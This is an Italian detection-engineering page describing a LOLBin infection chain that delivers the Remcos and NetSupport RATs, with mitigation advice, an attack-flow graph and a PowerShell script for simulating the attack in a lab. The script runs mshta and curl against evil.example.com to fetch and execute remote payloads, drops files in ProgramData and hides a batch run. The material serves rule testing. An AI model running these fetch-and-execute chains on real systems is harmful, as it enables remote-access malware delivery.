È possibile abusare dei LOLBins per consegnare payload RAT?
Detection stack
- AIDR
- Alert
- ETL
- Query
Riepilogo
Questo rapporto delinea una catena di infezione a più stadi che sfrutta aggressivamente le utilità integrate di Windows (LOLBins) per recuperare ed eseguire strumenti di accesso remoto, inclusi Remcos e NetSupport Manager. L’operatore concatena forfiles, mshta, PowerShell, curl, tar, WScript e modifiche mirate al registro per attivare i payload, stabilire la persistenza e ridurre la visibilità. Il flusso di lavoro sfrutta anche il comportamento di living-off-the-land per integrarsi silenziosamente nell’attività amministrativa di routine. Malwarebytes ha identificato l’attività e bloccato l’indirizzo IP correlato. In generale, sottolinea come l’abuso di LOLBin possa consegnare in modo affidabile i RAT.
Indagine
I ricercatori hanno visto inizialmente forfiles.exe generare mshta, che ha scaricato un HTA dannoso che ha eseguito PowerShell per recuperare un PDF esca contenente un archivio TAR. Dopo l’estrazione, un glaxnimate.exe trojanizzato ha rilasciato componenti frammentati in ProgramData, quindi li ha riassemblati e lanciati utilizzando WScript, script batch e file di supporto. La persistenza è stata impostata creando un valore UserInitMprLogonScript sotto HKCUEnvironment che faceva riferimento a un client binario dannoso.
Mitigazione
Monitora l’esecuzione anomala di LOLBin, in particolare forfiles, mshta, curl, tar, expand e modifiche sospette al registro all’interno di HKCUEnvironment. Imporre whitelisting delle applicazioni, abilitare il log completo di PowerShell e prevenire l’esecuzione di script da ProgramData per limitare la messa in scena. Blocca traffico HTTP in uscita insolito su IP sconosciuti e applica filtri URL per interrompere i tentativi di download iniziali.
Risposta
Quando rilevato, isola l’host, cattura la telemetria della riga di comando completa e raccogli gli artefatti rilasciati per l’analisi hash. Rimuovi la voce del registro dannosa ed elimina i file creati in ProgramData. Esegui una scansione endpoint con firme AV aggiornate e implementa un blocco a livello di rete per l’indirizzo IP dell’attaccante e eventuali domini associati.
graph TB %% Class definitions classDef technique fill:#ffcc99 classDef process fill:#c2f0c2 classDef action fill:#99ccff classDef tool fill:#dddddd classDef malware fill:#ff9999 %% Nodes initial_access[“<b>Tecnica</b> – T1218.005: Mshta.exe<br/><b>Descrizione</b> Usa forfiles.exe per lanciare mshta e scaricare HTA”] class initial_access technique process_mshta[“<b>Processo</b>: mshta.exe<br/><b>Azione</b> Esegue HTA remoto”] class process_mshta process download_htapayload[“<b>Azione</b> – Scarica HTA<br/><b>Strumento</b> mshta”] class download_htapayload action cmd_execution[“<b>Tecnica</b> – T1059.003: Shell dei comandi di Windows<br/><b>Descrizione</b> HTA avvia cmd.exe”] class cmd_execution technique powershell_one_liner[“<b>Tecnica</b> – T1059.001: PowerShell<br/><b>Descrizione</b> One-liner scarica payload come PDF, estrae con tar, avvia glaxnimate.exe”] class powershell_one_liner technique local_staging[“<b>Tecnica</b> – T1074.001: Staging locale<br/><b>Descrizione</b> Crea file .PART in ProgramData”] class local_staging technique vbscript_execution[“<b>Tecnica</b> – T1059.005: Visual Basic<br/><b>Descrizione</b> wscript.exe esegue processor.vbs che lancia cmd nascosto per eseguire patcher.bat”] class vbscript_execution technique archive_extraction[“<b>Tecnica</b> – T1560.001: Estrazione di archivi<br/><b>Descrizione</b> expand estrae setup.cab contenente NetSupport RAT”] class archive_extraction technique persistence[“<b>Tecnica</b> – T1547.014: Chiavi di registro / Cartella di avvio<br/><b>Descrizione</b> HKCU\\Environment\\UserInitMprLogonScript impostato su client32.exe”] class persistence technique client32[“<b>Malware</b> client32.exe<br/><b>Scopo</b> Esegue al login”] class client32 malware glaxnimate[“<b>Malware</b> glaxnimate.exe trojanizzato<br/><b>Scopo</b> Esegue payload malevolo”] class glaxnimate malware netsupport[“<b>Malware</b> NetSupport RAT<br/><b>Scopo</b> Payload di accesso remoto”] class netsupport malware %% Connections initial_access –>|usa| process_mshta process_mshta –>|scarica| download_htapayload download_htapayload –>|esegue| cmd_execution cmd_execution –>|innesca| powershell_one_liner powershell_one_liner –>|stages file| local_staging local_staging –>|esegue| vbscript_execution vbscript_execution –>|estrae| archive_extraction archive_extraction –>|installa| glaxnimate glaxnimate –>|installa| netsupport netsupport –>|conduce a| persistence persistence –>|esegue| client32
Flusso di attacco
Rilevamenti
LOLBAS WScript / CScript (via process_creation)
Visualizza
Uso Sospetto di CURL (via cmdline)
Visualizza
Possibili Punti di Persistenza [ASEPs – Software/Hive NTUSER] (via cmdline)
Visualizza
File Sospetti Estratti da un Archivio (via file_event)
Visualizza
LOLBAS ForFiles (via cmdline)
Visualizza
Rilevamento dell’Abuso dei LOLBin per la Distribuzione di Trojan di Accesso Remoto [Creazione Processo di Windows]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il Controllo Preliminare della Telemetria e del Baseline deve essere superato.
Motivazione: Questa sezione descrive l’esatta esecuzione della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente le TTP identificate e mirare a generare l’esatta telemetria prevista dalla logica di rilevamento.
-
Narrativa e Comandi dell’Attacco:
L’operatore del red-team mira a distribuire il Remcos RAT utilizzando una catena di LOLBins per evitare di scaricare direttamente un eseguibile.- Scoperta e Messa in Scena: Use
forfiles.exeper trovare una directory di destinazione e avviaremshtacon un URL dannoso che ospita un payload HTA. - Download di PowerShell Senza File: Invoke
powershell.execon-NoProfile -Command curlper recuperare uno script di secondo stadio da un server C2. - Esecuzione VBScript: Distribuire un
processor.vbsviacreatocon%ProgramData%. - Batch Dropper: Eseguire un file batch nascosto (
patcher.bat) tramitecmd.exerichiamato tramiteIWshShell3.Runper finalizzare la persistenza.
Ogni passaggio genera un evento di creazione del processo distinto che corrisponde a una delle selezioni Sigma, assicurando che la regola si attivi.
- Scoperta e Messa in Scena: Use
-
Script di Test di Regressione:
Lo script sotto riproduce le quattro selezioni in un laboratorio controllato. Registra ogni comando su un file temporaneo per una verifica successiva.#------------------------------------------------- # Simulazione di Abuso LOLBin – attiva la regola Sigma #------------------------------------------------- $log = "$env:TEMPlolbin_simulation.log" Clear-Content -Path $log -ErrorAction SilentlyContinue # 1. forfiles.exe -> mshta $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"' Write-Output "[+] Executing: $cmd1" | Tee-Object -FilePath $log Invoke-Expression $cmd1 # 2. powershell.exe -> curl download $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"' Write-Output "[+] Executing: $cmd2" | Tee-Object -FilePath $log Invoke-Expression $cmd2 # 3. wscript.exe -> processor.vbs $vbsPath = "$env:ProgramDataprocessor.vbs" @" Set fso = CreateObject("Scripting.FileSystemObject") fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious" "@ | Set-Content -Path $vbsPath -Encoding ASCII $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`"" Write-Output "[+] Executing: $cmd3" | Tee-Object -FilePath $log Invoke-Expression $cmd3 # 4. IWshShell3.Run -> cmd /c patcher.bat $batPath = "$env:ProgramDatapatcher.bat" "@ echo @echo off > %TEMP%nothing.txt "@ | Set-Content -Path $batPath -Encoding ASCII $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`"" Write-Output "[+] Executing: $cmd4 (via IWshShell3.Run)" | Tee-Object -FilePath $log Invoke-Expression $cmd4 Write-Output "[+] Simulation complete." | Tee-Object -FilePath $log -
Comandi di Pulizia:
Rimuovi gli artefatti per ripristinare l’host a uno stato pulito.# Cleanup LOLBin simulation artifacts Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue Write-Output "[+] Cleanup completed."